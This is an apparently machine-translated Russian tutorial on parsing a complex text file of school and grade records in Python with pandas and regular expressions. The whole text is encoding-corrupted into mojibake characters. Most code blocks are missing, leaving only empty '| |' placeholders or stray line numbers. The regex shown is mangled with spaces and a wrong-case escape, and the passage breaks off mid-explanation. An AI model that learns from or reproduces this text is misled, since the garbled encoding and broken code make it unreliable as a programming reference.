ΠΡΠ»ΠΈ Π²Π°ΡΠΈ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠΌΠ΅ΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠΉ ΠΈΠ»ΠΈ Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ Π±Π»ΠΈΠ·ΠΊΠΈΠΉ ΡΠΎΡΠΌΠ°Ρ, ΡΠΎ, Π²Π΅ΡΠΎΡΡΠ½ΠΎ, ΡΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ ΡΠΆΠ΅ ΡΡΡΠ΅ΡΡΠ²ΡΡΡΠΈΠΉ ΠΏΠ°ΠΊΠ΅Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ ΡΡΠ΅Π½ΠΈΡ Π²Π°ΡΠΈΡ Π΄Π°Π½Π½ΡΡ Ρ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡΠ½ΡΠΌΠΈ ΡΡΠΈΠ»ΠΈΡΠΌΠΈ.
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΠ°ΠΉΠ» CSV, data.txt:
.
Π°, Π±, Π²
1,2,3
4,5,6
7,8,9
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π»Π΅Π³ΠΊΠΎ ΡΠΏΡΠ°Π²ΠΈΡΡΡΡ Ρ ΡΡΠΈΠΌ Ρ ΠΏΠΎΠΌΠΎΡΡΡ pandas.
| |
Π° Π± Π²
0 1 2 3
1 4 5 6
2 7 8 9
Python Π½Π΅Π²Π΅ΡΠΎΡΡΠ΅Π½, ΠΊΠΎΠ³Π΄Π° Π΄Π΅Π»ΠΎ ΠΊΠ°ΡΠ°Π΅ΡΡΡ ΡΡΡΠΎΠΊ. Π‘ΡΠΎΠΈΡ ΡΡΠ²ΠΎΠΈΡΡ Π²ΡΠ΅ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅ ΡΡΡΠΎΠΊΠΎΠ²ΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ.ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠΈ ΠΌΠ΅ΡΠΎΠ΄Ρ Π΄Π»Ρ ΠΈΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΡ Π΄Π°Π½Π½ΡΡ ΠΈΠ· ΡΡΡΠΎΠΊΠΈ, ΠΊΠ°ΠΊ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΈΠ΄Π΅ΡΡ Π² ΠΏΡΠΎΡΡΠΎΠΌ ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Π½ΠΈΠΆΠ΅.
121314151617181 | |
Π¨Π°Π³ 0: [Β«ΠΠΌΠ΅Π½Π°Β», Β«Π ΠΎΠΌΠ΅ΠΎ, ΠΠΆΡΠ»ΡΠ΅ΡΡΠ°Β»]
Π¨Π°Π³ 1: Π ΠΎΠΌΠ΅ΠΎ, ΠΠΆΡΠ»ΡΠ΅ΡΡΠ°
Π¨Π°Π³ 2: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«ΠΠΆΡΠ»ΡΠ΅ΡΡΠ°Β»]
Π¨Π°Π³ 3: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«ΠΠΆΡΠ»ΡΠ΅ΡΡΠ°Β»]
ΠΠΎΠ½Π΅ΡΠ½ΡΠΉ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ Π·Π° ΡΠ°Π·: [Β«Π ΠΎΠΌΠ΅ΠΎΒ», Β«ΠΠΆΡΠ»ΡΠ΅ΡΡΠ°Β»]
ΠΠ°ΠΊ Π²Ρ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠΈΡ Π΄Π²ΡΡ ΡΠ°Π·Π΄Π΅Π»Π°Ρ , Π΅ΡΠ»ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΏΡΠΎΡΡΠ°, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΠΎΠΉΡΠΈΡΡ ΠΏΡΠΎΡΡΡΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΡΡΡΠ΅ΡΡΠ²ΡΡΡΠ΅Π³ΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠ° ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΡΡΠΎΠΊΠΎΠ²ΡΡ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ².ΠΠ΄Π½Π°ΠΊΠΎ ΠΆΠΈΠ·Π½Ρ Π½Π΅ Π²ΡΠ΅Π³Π΄Π° ΡΠ°ΠΊ ΠΏΡΠΎΡΡΠ°. ΠΠ°ΠΊ ΠΌΡ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΠΈΠΌ ΠΊ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌΡ Π°Π½Π°Π»ΠΈΠ·Ρ ΡΠ»ΠΎΠΆΠ½ΠΎΠ³ΠΎ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°?
Π¨Π°Π³ 1. ΠΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΠ΅ ΡΠΎΡΠΌΠ°Ρ Π²Π²ΠΎΠ΄Π°
| |
ΠΡΠΈΠΌΠ΅Ρ ΡΠ΅ΠΊΡΡΠ°
Π Π²ΠΈΠΊΡΠΎΡΠΈΠ½Π΅ ΠΏΡΠΈΠ½ΡΠ»ΠΈ ΡΡΠ°ΡΡΠΈΠ΅ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΡΡΠ΄Π΅Π½ΡΡ ΠΈΠ· Π ΠΈΠ²Π΅ΡΠ΄Π΅ΠΉΠ» Π₯Π°ΠΉ ΠΈ Π₯ΠΎΠ³Π²Π°ΡΡΡ.
ΠΠΈΠΆΠ΅ ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Ρ ΠΈΡ
ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΡ.
Π¨ΠΊΠΎΠ»Π° = Π‘ΡΠ΅Π΄Π½ΡΡ ΡΠΊΠΎΠ»Π° Π ΠΈΠ²Π΅ΡΠ΄Π΅ΠΉΠ»Π°
ΠΡΠ΅Π½ΠΊΠ° = 1
ΠΠΎΠΌΠ΅Ρ ΡΡΡΠ΄Π΅Π½ΡΠ°, ΠΠΌΡ
0, Π€ΠΈΠ±ΠΈ
1, Π ΡΠΉΡΠ΅Π»
ΠΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΡΠ΅Π½ΠΊΠ°
0, 3
1, 7
ΠΡΠ΅Π½ΠΊΠ° = 2
ΠΠΎΠΌΠ΅Ρ ΡΡΡΠ΄Π΅Π½ΡΠ°, ΠΠΌΡ
0, ΠΠ½ΠΆΠ΅Π»Π°
1, Π’ΡΠΈΡΡΠ°Π½
2, ΠΠ²ΡΠΎΡΠ°
ΠΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΡΠ΅Π½ΠΊΠ°
0, 6
1, 3
2, 9
Π¨ΠΊΠΎΠ»Π° = Π₯ΠΎΠ³Π²Π°ΡΡΡ
ΠΡΠ΅Π½ΠΊΠ° = 1
ΠΠΎΠΌΠ΅Ρ ΡΡΡΠ΄Π΅Π½ΡΠ°, ΠΠΌΡ
0, ΠΠΆΠΈΠ½Π½ΠΈ
1, ΠΡΠ½Π°
ΠΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΡΠ΅Π½ΠΊΠ°
0, 8
1, 7
ΠΡΠ΅Π½ΠΊΠ° = 2
ΠΠΎΠΌΠ΅Ρ ΡΡΡΠ΄Π΅Π½ΡΠ°, ΠΠΌΡ
0, ΠΠ°ΡΡΠΈ
1, ΠΠ΅ΡΠΌΠΈΠΎΠ½Π°
ΠΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΡΠ΅Π½ΠΊΠ°
0, 5
1, 10
ΠΡΠ΅Π½ΠΊΠ° = 3
ΠΠΎΠΌΠ΅Ρ ΡΡΡΠ΄Π΅Π½ΡΠ°, ΠΠΌΡ
0, Π€ΡΠ΅Π΄
1, ΠΠ΅ΠΎΡΠ³ΠΈΠΉ
ΠΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΡΠ΅Π½ΠΊΠ°
0, 0
1, 0
ΠΡΠΎ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ ΡΠ»ΠΎΠΆΠ½ΡΠΉ Π²Ρ ΠΎΠ΄Π½ΠΎΠΉ ΡΠ°ΠΉΠ»! Π£Ρ! ΠΠ°Π½Π½ΡΠ΅, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΎΠ½ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ, Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ ΠΏΡΠΎΡΡΡ, ΠΊΠ°ΠΊ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π²ΠΈΠ΄Π΅ΡΡ Π½ΠΈΠΆΠ΅:
ΠΠΌΡ ΠΡΠ΅Π½ΠΊΠ°
ΠΠΎΠΌΠ΅Ρ ΡΠΊΠΎΠ»ΡΠ½ΠΎΠ³ΠΎ ΠΊΠ»Π°ΡΡΠ°
Π₯ΠΎΠ³Π²Π°ΡΡΡ 1 0 ΠΠΆΠΈΠ½Π½ΠΈ 8
1 ΠΡΠ½Π° 7
2 0 ΠΠ°ΡΡΠΈ 5
1 ΠΠ΅ΡΠΌΠΈΠΎΠ½Π° 10
3 0 Π€ΡΠ΅Π΄ 0
1 ΠΠ΅ΠΎΡΠ³ΠΈΠΉ 0
Π ΠΈΠ²Π΅ΡΠ΄Π΅ΠΉΠ» Π₯Π°ΠΉ 1 0 Π€ΠΈΠ±ΠΈ 3
1 Π ΡΠΉΡΠ΅Π» 7
2 0 ΠΠ½Π΄ΠΆΠ΅Π»Π° 6
1 Π’ΡΠΈΡΡΠ°Π½ 3
2 ΠΠ²ΡΠΎΡΠ° 9
ΠΠ±ΡΠ°Π·Π΅Ρ ΡΠ΅ΠΊΡΡΠ° ΠΏΠΎΡ ΠΎΠΆ Π½Π° CSV Π² ΡΠΎΠΌ, ΡΡΠΎ Π² Π½Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π·Π°ΠΏΡΡΡΠ΅ Π΄Π»Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ Π½Π΅ΠΊΠΎΡΠΎΡΠΎΠΉ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ.ΠΠ²Π΅ΡΡ Ρ ΡΠ°ΠΉΠ»Π° Π΅ΡΡΡ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΠ΅ΡΠ°Π΄Π°Π½Π½ΡΠ΅. ΠΡΡΡ ΠΏΡΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ : ΡΠΊΠΎΠ»Π°, ΠΎΡΠ΅Π½ΠΊΠ°, Π½ΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°, ΠΈΠΌΡ ΠΈ ΠΎΡΠ΅Π½ΠΊΠ°. ΠΠ»ΡΡΠ΅Π²ΡΠΌΠΈ ΡΠ²Π»ΡΡΡΡΡ ΡΠΊΠΎΠ»Π°, ΠΊΠ»Π°ΡΡ ΠΈ Π½ΠΎΠΌΠ΅Ρ ΡΡΠ΅Π½ΠΈΠΊΠ°. ΠΠΌΡ ΠΈ ΠΡΠ΅Π½ΠΊΠ° - ΡΡΠΎ ΠΏΠΎΠ»Ρ. ΠΠ»Ρ Π΄Π°Π½Π½ΠΎΠΉ ΡΠΊΠΎΠ»Ρ, ΠΊΠ»Π°ΡΡΠ° ΠΈ Π½ΠΎΠΌΠ΅ΡΠ° ΡΡΠ΅Π½ΠΈΠΊΠ° Π΅ΡΡΡ ΠΈΠΌΡ ΠΈ ΠΎΡΠ΅Π½ΠΊΠ°. ΠΡΡΠ³ΠΈΠΌΠΈ ΡΠ»ΠΎΠ²Π°ΠΌΠΈ, ΡΠΊΠΎΠ»Π°, ΠΊΠ»Π°ΡΡ ΠΈ Π½ΠΎΠΌΠ΅Ρ ΡΡΠ°ΡΠ΅Π³ΠΎΡΡ Π²ΠΌΠ΅ΡΡΠ΅ ΠΎΠ±ΡΠ°Π·ΡΡΡ ΡΠΎΡΡΠ°Π²Π½ΠΎΠΉ ΠΊΠ»ΡΡ.
ΠΠ°Π½Π½ΡΠ΅ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Ρ Π² ΠΈΠ΅ΡΠ°ΡΡ ΠΈΡΠ΅ΡΠΊΠΎΠΌ ΡΠΎΡΠΌΠ°ΡΠ΅. Π‘Π½Π°ΡΠ°Π»Π° ΠΎΠ±ΡΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠΊΠΎΠ»Π°, Π·Π°ΡΠ΅ΠΌ ΠΎΡΠ΅Π½ΠΊΠ°. ΠΠ°Π»Π΅Π΅ ΡΠ»Π΅Π΄ΡΡΡ Π΄Π²Π΅ ΡΠ°Π±Π»ΠΈΡΡ, Π² ΠΊΠΎΡΠΎΡΡΡ ΡΠΊΠ°Π·Π°Π½Ρ ΠΈΠΌΡ ΠΈ ΠΎΡΠ΅Π½ΠΊΠ° Π΄Π»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΎΠΌΠ΅ΡΠ° ΡΡΠ°ΡΠ΅Π³ΠΎΡΡ.ΠΠ°ΡΠ΅ΠΌ ΠΎΡΠ΅Π½ΠΊΠ° ΡΠ²Π΅Π»ΠΈΡΠΈΠ²Π°Π΅ΡΡΡ. ΠΠ°Π»Π΅Π΅ ΡΠ»Π΅Π΄ΡΠ΅Ρ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ Π½Π°Π±ΠΎΡ ΡΠ°Π±Π»ΠΈΡ. ΠΠ°ΡΠ΅ΠΌ ΠΎΠ±ΡΠ°Π·Π΅Ρ ΠΏΠΎΠ²ΡΠΎΡΡΠ΅ΡΡΡ Π΄Π»Ρ Π΄ΡΡΠ³ΠΎΠΉ Π¨ΠΊΠΎΠ»Ρ. ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡΡΠΎ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΡΡΠ΅Π½ΠΈΠΊΠΎΠ² Π² ΠΊΠ»Π°ΡΡΠ΅ ΠΈΠ»ΠΈ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΊΠ»Π°ΡΡΠΎΠ² Π² ΡΠΊΠΎΠ»Π΅ Π½Π΅ΠΏΠΎΡΡΠΎΡΠ½Π½Ρ, ΡΡΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΠ΅Ρ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡΠΈ ΠΊ ΡΠ°ΠΉΠ»Ρ. ΠΡΠΎ Π²ΡΠ΅Π³ΠΎ Π»ΠΈΡΡ Π½Π΅Π±ΠΎΠ»ΡΡΠΎΠΉ Π½Π°Π±ΠΎΡ Π΄Π°Π½Π½ΡΡ . ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΡΡ, ΡΡΠΎ ΡΡΠΎ ΠΎΠ³ΡΠΎΠΌΠ½ΡΠΉ ΡΠ°ΠΉΠ» Ρ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎΠΌ ΡΠΊΠΎΠ», ΠΎΡΠ΅Π½ΠΎΠΊ ΠΈ ΡΡΡΠ΄Π΅Π½ΡΠΎΠ².
Π‘Π°ΠΌΠΎ ΡΠΎΠ±ΠΎΠΉ ΡΠ°Π·ΡΠΌΠ΅Π΅ΡΡΡ, ΡΡΠΎ ΡΠΎΡΠΌΠ°Ρ Π΄Π°Π½Π½ΡΡ ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ ΠΏΠ»ΠΎΡ ΠΎΠΉ. Π― ΡΠ΄Π΅Π»Π°Π» ΡΡΠΎ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ. ΠΡΠ»ΠΈ Π²Ρ ΠΏΠΎΠΉΠΌΠ΅ΡΠ΅, ΠΊΠ°ΠΊ Ρ ΡΡΠΈΠΌ ΡΠΏΡΠ°Π²ΠΈΡΡΡΡ, Π²Π°ΠΌ Π±ΡΠ΄Π΅Ρ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡΠΎΡΠ΅ ΠΎΡΠ²ΠΎΠΈΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΡΠΎΡΡΡΠ΅ ΡΠΎΡΠΌΠ°ΡΡ.ΠΠ΅Ρ Π½ΠΈΡΠ΅Π³ΠΎ Π½Π΅ΠΎΠ±ΡΡΠ½ΠΎΠ³ΠΎ Π² ΡΠΎΠΌ, ΡΡΠΎΠ±Ρ Π²ΡΡΡΠ΅ΡΠΈΡΡ ΠΏΠΎΠ΄ΠΎΠ±Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ, Π΅ΡΠ»ΠΈ ΠΏΡΠΈΡ ΠΎΠ΄ΠΈΡΡΡ ΠΈΠΌΠ΅ΡΡ Π΄Π΅Π»ΠΎ Ρ Π±ΠΎΠ»ΡΡΠΈΠΌ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎΠΌ ΡΡΡΠ°ΡΠ΅Π²ΡΠΈΡ ΡΠΈΡΡΠ΅ΠΌ. Π ΠΏΡΠΎΡΠ»ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° ΡΡΠΈ ΡΠΈΡΡΠ΅ΠΌΡ ΡΠ°Π·ΡΠ°Π±Π°ΡΡΠ²Π°Π»ΠΈΡΡ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½Π΅ ΡΡΠ΅Π±ΠΎΠ²Π°Π»ΠΎΡΡ, ΡΡΠΎΠ±Ρ Π²ΡΡ ΠΎΠ΄Π½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ Π±ΡΠ»ΠΈ ΠΌΠ°ΡΠΈΠ½ΠΎΡΠΈΡΠ°Π΅ΠΌΡΠΌΠΈ. ΠΠ΄Π½Π°ΠΊΠΎ Π² Π½Π°ΡΡΠΎΡΡΠ΅Π΅ Π²ΡΠ΅ΠΌΡ Π²ΡΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±ΡΡΡ ΠΌΠ°ΡΠΈΠ½ΠΎΡΠΈΡΠ°Π΅ΠΌΡΠΌ!
Π¨Π°Π³ 2: ΠΠΌΠΏΠΎΡΡΠΈΡΡΠΉΡΠ΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΡ
ΠΠ°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΠΌΠΎΠ΄ΡΠ»Ρ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ ΠΏΠ°ΠΊΠ΅Ρ pandas. ΠΡΠ°ΠΊ, Π΄Π°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΠΌ ΠΈ ΠΈΠΌΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌ ΠΈΡ .
| |
Π¨Π°Π³ 3. ΠΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΠ΅ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ
ΠΠ° ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅ΠΌ ΡΡΠ°ΠΏΠ΅ ΠΌΡ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°Π»ΠΈ re, ΠΌΠΎΠ΄ΡΠ»Ρ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ.Π§ΡΠΎ ΡΡΠΎ ΡΠ°ΠΊΠΎΠ΅?
ΠΡΠ°ΠΊ, ΡΠ°Π½Π΅Π΅ ΠΌΡ Π²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΠΎΠ²ΡΠ΅ ΠΌΠ΅ΡΠΎΠ΄Ρ Π΄Π»Ρ ΠΈΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΡ Π΄Π°Π½Π½ΡΡ ΠΈΠ· ΡΠ΅ΠΊΡΡΠ°. ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π΅ ΡΠ»ΠΎΠΆΠ½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΡΡΠΎΠ»ΠΊΠ½ΡΡΡΡΡ Ρ Π±ΠΎΠ»ΡΡΠΈΠΌ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎΠΌ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΉ ΠΏΠΎ ΡΠ΄Π°Π»Π΅Π½ΠΈΡ, ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ, Π½Π°ΡΠ΅Π·ΠΊΠ΅ ΠΈ ΡΠΎΠΌΡ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΌΡ, ΠΈ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ Π²ΡΠ³Π»ΡΠ΄Π΅ΡΡ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ Π½Π΅ΡΠΈΡΠ°Π±Π΅Π»ΡΠ½ΡΠΌ. ΠΠΌΠ΅Π½Π½ΠΎ Π·Π΄Π΅ΡΡ Π½Π° ΠΏΠΎΠΌΠΎΡΡ ΠΏΡΠΈΡ ΠΎΠ΄ΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ. ΠΠΎ ΡΡΡΠΈ, ΡΡΠΎ ΠΊΡΠΎΡΠ΅ΡΠ½ΡΠΉ ΡΠ·ΡΠΊ, Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠΉ Π² Python, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π²Π°ΠΌ ΡΠΊΠ°Π·Π°ΡΡ, ΠΊΠ°ΠΊΠΎΠΉ ΡΡΡΠΎΠΊΠΎΠ²ΡΠΉ ΡΠ°Π±Π»ΠΎΠ½ Π²Ρ ΠΈΡΠ΅ΡΠ΅. ΠΠ΅ΠΆΠ΄Ρ ΠΏΡΠΎΡΠΈΠΌ, ΠΎΠ½ Π½Π΅ ΡΠ½ΠΈΠΊΠ°Π»Π΅Π½ Π΄Π»Ρ Python (Π΄ΠΎΠΌΠΈΠΊ Π½Π° Π΄Π΅ΡΠ΅Π²Π΅).
ΠΠ°ΠΌ Π½Π΅ Π½ΡΠΆΠ½ΠΎ Π±ΡΡΡ ΠΌΠ°ΡΡΠ΅ΡΠΎΠΌ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ.ΠΠ΄Π½Π°ΠΊΠΎ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π±Π°Π·ΠΎΠ²ΡΠ΅ Π·Π½Π°Π½ΠΈΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΎΡΠ΅Π½Ρ ΠΏΠΎΠ»Π΅Π·Π½Ρ Π² Π²Π°ΡΠ΅ΠΉ ΠΊΠ°ΡΡΠ΅ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΠ°. Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Ρ Π½Π°ΡΡΡ Π²Π°Ρ ΡΠΎΠ»ΡΠΊΠΎ ΡΠ°ΠΌΡΠΌ ΠΎΡΠ½ΠΎΠ²Π°ΠΌ, Π½ΠΎ Ρ ΠΏΡΠΈΠ·ΡΠ²Π°Ρ Π²Π°Ρ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ ΠΈΠ·ΡΡΠ΅Π½ΠΈΠ΅. Π― ΡΠ°ΠΊΠΆΠ΅ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡ regexper Π΄Π»Ρ Π²ΠΈΠ·ΡΠ°Π»ΠΈΠ·Π°ΡΠΈΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ. regex101 - Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ ΠΎΡΠ»ΠΈΡΠ½ΡΠΉ ΡΠ΅ΡΡΡΡ Π΄Π»Ρ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π²Π°ΡΠ΅Π³ΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ.
ΠΠ°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΡΡΡΡ ΡΡΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ
Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ. ΠΠ΅ΡΠ²ΡΠΉ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ Π½Π°ΠΌ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΡΠΊΠΎΠ»Ρ. ΠΠ³ΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ - School = (. *) \ N
.Π§ΡΠΎ ΠΎΠ·Π½Π°ΡΠ°ΡΡ ΡΠΈΠΌΠ²ΠΎΠ»Ρ?
-
.
: Π»ΡΠ±ΠΎΠΉ ΡΠΈΠΌΠ²ΠΎΠ» -
*
: 0 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ· ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅Π³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ -
(. *)
: ΠΠΎΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΡΡΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π² ΠΊΡΡΠ³Π»ΡΠ΅ ΡΠΊΠΎΠ±ΠΊΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΡΠ³ΡΡΠΏΠΏΠΈΡΠΎΠ²Π°ΡΡ ΡΡΡ ΡΠ°ΡΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ. ΠΡΠ°ΠΊ, Π² Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΠ³ΡΡΠΏΠΏΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ ΡΠ°ΡΡΡ - ΡΡΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡΠΊΠΎΠ»Ρ. -
\ n
